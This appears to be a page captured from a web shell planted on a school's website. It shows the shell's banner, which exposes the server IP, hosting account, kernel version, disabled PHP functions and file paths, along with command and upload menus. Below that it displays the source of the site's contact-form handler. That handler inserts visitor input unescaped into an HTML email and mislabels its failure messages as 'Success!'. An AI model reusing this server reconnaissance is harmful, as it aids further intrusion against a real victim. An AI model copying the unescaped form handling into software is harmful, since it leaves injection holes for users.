|
Server IP : 145.79.58.44 / Your IP : 216.73.217.45 Web Server : LiteSpeed System : Linux in-mum2-web2213.main-hosting.eu 5.14.0-611.35.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 25 03:46:09 EST 2026 x86_64 User : u882412079 ( 882412079) PHP Version : 8.3.30 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u882412079/domains/sonimodernpublicschool.com/public_html/bb-admin/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
session_start();
include 'include/connection.php';
if (isset($_POST['Submit_Btn'])) {
$name = $_POST['name'];
$email = $_POST['email'];
$mobile = $_POST['phone'];
$subject = $_POST['subject'];
$msg = $_POST['message'];
$to = "sonimodern@gmail.com";
$message = "
<html>
<head>
<title>HTML email</title>
</head>
<body>
<p>Website mail</p>
<table>
<tr>
<th>Firstname</th>
<th>".$name."</th>
</tr>
<tr>
<td>Email</td>
<td>".$email."</td>
</tr>
<tr>
<td>Phone</td>
<td>".$mobile."</td>
</tr>
<tr>
<td>Subject</td>
<td>".$subject."</td>
</tr>
<tr>
<td>Message</td>
<td>".$msg."</td>
</tr>
</table>
</body>
</html>
";
$headers = "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";
$headers .= 'From: <webmaster@example.com>' . "\r\n";
// $headers .= 'Cc: myboss@example.com' . "\r\n";
if(mail($to,$subject,$message,$headers)){
date_default_timezone_set('Asia/Kolkata');
$created_at = date('Y-m-d h:i:s');
$query = $conn->prepare("INSERT INTO contact(name,email,mobile,subject,msg,created_at) values(:name,:email,:mobile,:subject,:msg,:created_at)");
$query->bindParam(':name',$name);
$query->bindParam(':email',$email);
$query->bindParam(':mobile',$mobile);
$query->bindParam(':subject',$subject);
$query->bindParam(':msg',$msg);
$query->bindParam(':created_at',$created_at);
if ($query->execute()) {
$_SESSION['msg'] = '<div class="alert alert-success">
<strong>Success!</strong> Your request has been sent.
</div>';
header("Location:contact-us.php");
}else{
$_SESSION['msg'] = '<div class="alert alert-danger">
<strong>Success!</strong> Your request has not been sent. Please try again
</div>';
header("Location:contact-us.php");
}
}else{
$_SESSION['msg'] = '<div class="alert alert-danger">
<strong>Success!</strong> Your request has not been sent. Please try again
</div>';
header("Location:contact-us.php");
}
}else{
header("Location:contact-us.php");
}
?>